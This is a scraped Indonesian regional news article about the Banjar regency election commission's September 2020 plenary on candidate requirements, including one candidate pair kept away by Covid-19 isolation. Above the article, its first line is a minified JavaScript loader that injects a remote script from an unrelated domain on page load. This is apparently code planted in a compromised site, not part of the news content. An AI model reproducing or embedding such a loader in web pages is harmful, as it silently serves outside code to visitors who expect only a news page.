(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Bakal pasangan calon (Bapaslon) Bupati Banjar dan Wakil Bupati Banjar H Rusli-KH M Fadlan Asy’ari menghadiri rapat pleno terbuka penyampaian hasil penelitian persyaratan calon peserta Pilkada 2020 Kabupaten Banjar, Senin (14/9/2020).
Rapat pleno terbuka KPU Banjar hanya dihadiri dua bakal pasangan calon kepala daerah untuk menerima berita acara hasil penelitian persyaratan calon.
Acara berlangsung di hotel Grand Dafam Banjarbaru tersebut hanya dihadiri Bapaslon H Rusli-KH Fadhlan As’ary dan Bapaslon H Saidi Mansyur-Habib Idrus Al Habsyi.
Sebagai kesiapan pasangan H Rusli-Guru Fadhlan, dibuktikan dengan kehadirannya dalam setiap kegiatan KPU Banjar. Selain sebagai bentuk partisipasi, juga agar mengetahui langsung informasi yang disampaikan KPU Banjar dapat dikomunikasikan dengan sebaik-baiknya.
H Rusli pada kesempatan memberikan sambutan, menyampaikan terima kasih pada KPU Kabupaten Banjar dan mengapresiasi dalam pelaksanaan kegiatan dengan protokol kesehatan Covid-19.
“Alhamdulillah dan Bismillah dengan langkah kaki kanan memulai, kami siap ke tahapan Pilkada 2020 berikutnya. Dengan dengan mengusung spirit “Manuntung”. Setelah hasil penelitian persyaratan calon yang dimudahkan dan dilapangkan jalannya,” ucap H Rusli.
“Tinggal kita siap-siap untuk memasuki tahapan berikutnya, yaitu penetapan pasangan calon dan nomor undian, juga pelaksanaan kampanye. Kami berharap ini bisa berjalan dengan baik,” tutur H Rusli. “Tim kami siap berkoordinasi dan mengikuti aturan dan arahan,” pungkas H Rusli.
Sementara satu bapaslon lain Andin Sofyanoor-H M Syarif Busthomi tidak terlihat hadir di acara itu. Ternyata pasangan jalur non parpol ini, memang tidak diundang.
Ketua KPU Banjar Muhaimin mengatakan, memang tidak mengundang keduanya dalam acara tersebut sehingga bapaslon itu tidak hadir pada rapat pleno.
“Memang tidak mengundang karena keduanya masih menjalani karantina isolasi mandiri,” ujar Ketua KPU Banjar Muhaimin.
Bapaslon tersebut dinyatakan positif Covid-19 setelah menjalani swab tes sebelum melakukan tahapan pemeriksaan kesehatan pada Minggu (6/9/2020) di RSUD Ulin. Keduanya kemudian diberi waktu 10 hari hingga Rabu (16/9/2020) melakukan karantina sebelum lanjut ke tahapan pemeriksaan kesehatan.
“Nanti 17 September kita ajukan lagi pemeriksaan swab, setelah dinyatakan negatif maka akan kita lakukan rapat pleno susulan,” tandas Muhaimin. (kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
This website uses cookies.